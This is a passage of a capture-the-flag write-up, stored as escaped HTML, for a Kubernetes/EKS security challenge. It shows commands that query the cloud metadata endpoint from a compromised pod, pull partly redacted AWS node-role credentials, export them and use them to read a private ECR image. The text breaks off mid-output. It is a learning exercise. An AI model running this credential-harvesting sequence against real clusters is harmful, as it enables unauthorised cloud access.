\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f\"\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"sha256:a70cef1cb742e242b33cc21f949af6dc7e59b6ea3ce595c61c179c3be0e5d432\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLooks like they leaked the secret right there in the image layers:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ewiz_eks_challenge{nothing_can_be_said_to_*REDACTED*}'\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo lets submit that and move onto the next one!\u003c/p\u003e\n\u003ch1\u003eChallenge 3\u003c/h1\u003e\n\u003cp\u003eThe hint is:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eA pod's image holds more than just code. Dive deep into its ECR repository,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003einspect the image layers, and uncover the hidden secret.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eRemember: You are running inside a compromised EKS pod.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis sounds very similar to the last one but with the hints that its on ECR and\nthat we are in the pod itself it makes me believe we'll have something like IRSA\naccess to AWS from the pod and need to use that to get to it.\u003c/p\u003e\n\u003cp\u003eFirst lets check what pods we are working with:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRESTARTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eaccounting-pod-876647f8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e37\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eh\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo same as the last challenge, lets get the image and see what access we have:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.items[0].spec.containers[0].image'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e\"688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich as expected, we do not have access to:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e688655246681\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eError:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efetching\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ereading\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eimage\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\":\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eGET\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://688655246681.dkr.ecr.us-west-1.amazonaws.com/v2/central_repo-aaf4a7c/manifests/sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eunexpected\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003estatus\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e401\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUnauthorized:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAuthorized\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSince I expect the pod already has AWS access, lets check if the AWS CLI works:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eUnable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elocate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecredentials.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eYou\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfigure\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecredentials\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eby\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"aws configure\".\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eCredentials are not configured right now, so we need to discover them.  Lets\ncheck if we have metadata server access:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttp://169.254.169.254/latest/meta-data/iam\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003einfo\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003esecurity-credentials/\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe do!  So we should be able to pull the credentials out of there to get access\nto AWS:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-sS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttp://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"AccessKeyId\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ASIA2AVYNE\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Expiration\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-03 03:50:19+00:00\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"SecretAccessKey\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"e4TuLKKPBAVvyPkhKiJG0jO0\u0026#x3C;*REDACTED*\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"SessionToken\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"FwoGZXIvYXdzEBQaDAM9SyNaDBowmWoT1SK3AbqDZUQpyn\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLets set those as environment variables to activate our AWS access:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e AWS_ACCESS_KEY_ID\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ASIA2AVYNE\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e AWS_SECRET_ACCESS_KEY\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"e4TuLKKPBAVvyPkhKiJG0jO0\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e AWS_SESSION_TOKEN\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"FwoGZXIvYXdzEBQaDAM9SyNaDBowmWoT1SK3AbqDZUQpyn\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"UserId\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ASIA2AVYNE\u0026#x3C;*REDACTED*\u003e:i-0cb922c6673973282\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Account\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"688655246681\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Arn\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we should be able to authenticate crane and inspect the image from ECR:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePASSWORD=$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e ecr get-login-password)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-u\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAWS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-p\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $PASSWORD \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e688655246681\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.dkr.ecr.us-west-1.amazonaws.com\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e2023/11/03\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e02\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:56:41\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogged\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003evia\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/home/user/.docker/config.json\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLets get those layers!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e688655246681\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"architecture\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"amd64\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"config\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Env\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Cmd\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"/bin/sleep\"\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: 